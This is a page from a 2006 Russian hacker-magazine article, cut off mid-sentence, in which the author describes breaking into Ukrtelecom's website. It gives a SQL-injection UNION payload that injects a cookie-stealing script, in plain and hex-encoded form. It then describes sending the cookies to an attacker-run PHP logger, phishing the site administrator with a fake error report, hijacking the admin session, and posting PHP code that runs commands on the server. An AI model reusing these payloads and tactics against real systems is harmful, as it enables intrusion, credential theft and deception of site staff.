Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #86, ФЕВРАЛЬ 2006 г.

Новогодний дамп Укртелекома

M3lc1y

Хакер, номер #086, стр. 086-060-3


[все возвращается]

После такой неудачи мне пришлось серьезно задуматься. Подумал, что раз уж я нащупал SQL-injection, можно опять попробовать прокачать эту дырку. Но у меня не было информации об именах таблиц, полей и, вообще, никак не получалось провести полноценную UNION-склейку левого запроса с оригинальным. Ничего толкового у меня не получалось, и я решил отложить продолжение атаки на неопределенное время. Через несколько дней я разговорился с _1nf3ct0r_, который поведал о своей статье в декабрьском номере. Там он рассказывал об атаке SiXSS, которую успешно провел в ситуации, очень похожей на мою.

Вкратце напомню, о чем там шла речь. Суть атаки заключается в том, что при возможности организации UNION-запроса можно вывести клиенту заранее подготовленную строку с ядовитый JS-кодом, который, к примеру, уведет кукисы или зальет пользователю трояна. Именно этим путем я и решил пойти.

Быстро сформировал запрос, который выводил мессагу с кукисами:

www.ukrtelecom.ua/ua/offers/forum/read.php?f=5&i=65+union+select+0,0,0,0,0,0,0,0,0,'<script>aler(document.cookie)</script>--

и перевел символьные данные в шестнадцатеричный код. В итоге получилось следующее:

www.ukrtelecom.ua/ua/offers/forum/read.php?f=5&i=65+union+select+0,0,0,0,0,0,0,0,0,%27%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E%27--

Осталось сформировать такой линк, который бы передавал кукисы скрипту, а скрипт высылал на мыло. Сделать это просто элементарно, и мы это уже многократно проделывали на страницах журнала. Я подготовил php-скрипт, который записывает всю передаваемую ему информацию в файл, а также заменил JS-код таким образом, чтобы он передавал document.cookie GET-запросом моему скрипту. Осталось только поработать социальным инженером.

[социально инженерим :)]

Я зарегистрировал левый почтовый аккаунт Oleg2003@mail.ru и написал админу html-письмо примерно следующего содержания:

Здравствуйте. Я обнаружил на вашем сайте ошибку, которая возникает при обращении к адресу <a href="www.ukrtelecom.ua/ua/offers/forum/read.php?f=5&i=65+union+select+0,0,0,0,0,0,0,0,0,%27%3C%73%63%72%69%70%..skiped..%69%70%74%3E%27--">http://site/ua/offers/forum/read.php?f=5</a>. Примите меры. Василий.

После этого я заслал админу письмо и стал ждать ответа на мой запрос, однако он последовал только через несколько дней. Админ писал, что никакой ошибки там нет и в помине и что все круто работает. Да, он был прав. Действительно, работало все на ура, в том числе и мой скрипт, который записал его кукисы в файл. Настала пора суетиться, смотреть, что там внутри, а то вдруг сессия ограничена по времени. Еще я опасался, что там может быть реализована привязка к IP. Однако удача была на моей стороне: к ip привязки не было, а сессия числилась активной и я, подменив кукисы, сумел залогиниться под админом.

[the end]

В админке не было ничего особенного. Можно было запостить новость, в общем, как обычно. Функции для закачивания файла в панели не было, и это меня расстраивало. Впрочем, я довольно быстро нашел выход из этой ситуации. Дождавшись глубокой ночи, когда администратор спит, а на сайте почти нет посетителей, я создал новый пост со следующим содержанием: <? passthru("id");?>. После того как я нажал кнопку «reload», на главной странице Укртелекома увидел вывод

Назад на стр. 086-060-2  Содержание  Вперед на стр. 086-060-4